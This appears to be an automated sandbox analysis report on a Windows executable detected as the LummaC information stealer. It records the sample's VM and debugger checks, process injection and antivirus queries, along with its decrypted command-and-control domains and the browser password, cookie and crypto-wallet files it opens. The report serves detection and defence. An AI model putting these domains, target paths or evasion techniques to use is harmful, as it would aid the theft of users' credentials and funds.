Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Process created: C:\Users\user\Desktop\X2hna87N3Y.exe "C:\Users\user\Desktop\X2hna87N3Y.exe"
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Process created: C:\Users\user\Desktop\X2hna87N3Y.exe "C:\Users\user\Desktop\X2hna87N3Y.exe"	Jump to behavior

Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: X2hna87N3Y.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE

Source: X2hna87N3Y.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: X2hna87N3Y.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: X2hna87N3Y.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: X2hna87N3Y.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: X2hna87N3Y.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: X2hna87N3Y.exe

Static PE information: section name: .CODE

Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 0_2_00D8B97A push ecx; ret	0_2_00D8B98D
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00438960 push eax; mov dword ptr [esp], 04050607h	2_2_0043896E
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0043B4A0 push eax; mov dword ptr [esp], 929190CFh	2_2_0043B4A1
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00D8B97A push ecx; ret	2_2_00D8B98D

Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

API coverage: 9.7 %

Source: C:\Users\user\Desktop\X2hna87N3Y.exe TID: 7552	Thread sleep time: -150000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe TID: 7552	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

Code function: 0_2_00D9D358 FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_00D9D358

Source: X2hna87N3Y.exe, 00000002.00000002.1968906269.0000000000F87000.00000004.00000020.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1967856629.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWS
Source: X2hna87N3Y.exe, 00000002.00000002.1968906269.0000000000F87000.00000004.00000020.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1967856629.0000000000F87000.00000004.00000020.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1967608175.0000000000F4C000.00000004.00000020.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000002.1968844301.0000000000F4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

Code function: 2_2_00439DF0 LdrInitializeThunk,

2_2_00439DF0

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

Code function: 0_2_00D93C11 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00D93C11

Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 0_2_00DB21A9 mov edi, dword ptr fs:[00000030h]	0_2_00DB21A9
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 0_2_00DB55D0 mov edi, dword ptr fs:[00000030h]	0_2_00DB55D0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00DB55D0 mov edi, dword ptr fs:[00000030h]	2_2_00DB55D0

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

Code function: 0_2_00D98D25 GetProcessHeap,

0_2_00D98D25

Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 0_2_00D8B290 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00D8B290
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 0_2_00D93C11 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00D93C11
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 0_2_00D8B64C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00D8B64C
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 0_2_00D8B640 SetUnhandledExceptionFilter,	0_2_00D8B640
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00D8B290 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00D8B290
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00D93C11 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00D93C11
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00D8B64C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00D8B64C
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00D8B640 SetUnhandledExceptionFilter,	2_2_00D8B640

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

Code function: 0_2_00DB21A9 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_00DB21A9

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

Memory written: C:\Users\user\Desktop\X2hna87N3Y.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: X2hna87N3Y.exe, 00000000.00000002.1739887798.0000000002B36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: debonairnukk.xyz
Source: X2hna87N3Y.exe, 00000000.00000002.1739887798.0000000002B36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: diffuculttan.xyz
Source: X2hna87N3Y.exe, 00000000.00000002.1739887798.0000000002B36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: effecterectz.xyz
Source: X2hna87N3Y.exe, 00000000.00000002.1739887798.0000000002B36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: deafeninggeh.biz
Source: X2hna87N3Y.exe, 00000000.00000002.1739887798.0000000002B36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: immureprech.biz
Source: X2hna87N3Y.exe, 00000000.00000002.1739887798.0000000002B36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: tacitglibbr.biz

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

Process created: C:\Users\user\Desktop\X2hna87N3Y.exe "C:\Users\user\Desktop\X2hna87N3Y.exe"

Jump to behavior

Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00D9C8FD
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: GetLocaleInfoW,	0_2_00D9806C
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: EnumSystemLocalesW,	0_2_00D9C862
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: GetLocaleInfoW,	0_2_00D9CBAF
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: EnumSystemLocalesW,	0_2_00D9CB50
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: GetLocaleInfoW,	0_2_00D9CCCF
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: EnumSystemLocalesW,	0_2_00D9CC84
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00D9CD76
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: GetLocaleInfoW,	0_2_00D9CE7C
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00D9C611
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: EnumSystemLocalesW,	0_2_00D98610
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_00D9C8FD
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: GetLocaleInfoW,	2_2_00D9806C
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: EnumSystemLocalesW,	2_2_00D9C862
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: GetLocaleInfoW,	2_2_00D9CBAF
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: EnumSystemLocalesW,	2_2_00D9CB50
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: GetLocaleInfoW,	2_2_00D9CCCF
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: EnumSystemLocalesW,	2_2_00D9CC84
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_00D9CD76
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: GetLocaleInfoW,	2_2_00D9CE7C
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_00D9C611
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: EnumSystemLocalesW,	2_2_00D98610

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

Code function: 0_2_00D8C367 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00D8C367

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: X2hna87N3Y.exe, 00000002.00000003.1909555622.0000000003847000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1908365458.0000000003843000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: X2hna87N3Y.exe PID: 7536, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: X2hna87N3Y.exe, 00000002.00000003.1837573054.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\\Electrum\\wallets","m
Source: X2hna87N3Y.exe, 00000002.00000003.1837573054.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %\\ElectronCash\
Source: X2hna87N3Y.exe, 00000002.00000003.1837573054.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: },{"t":0,"p":"%appdata%\\com.liberty.jaxx\\Index
Source: X2hna87N3Y.exe, 00000002.00000003.1865922342.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: X2hna87N3Y.exe, 00000002.00000003.1865922342.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: X2hna87N3Y.exe, 00000002.00000003.1837573054.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ["keystore"],"z":"Wallets/Etherezn

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
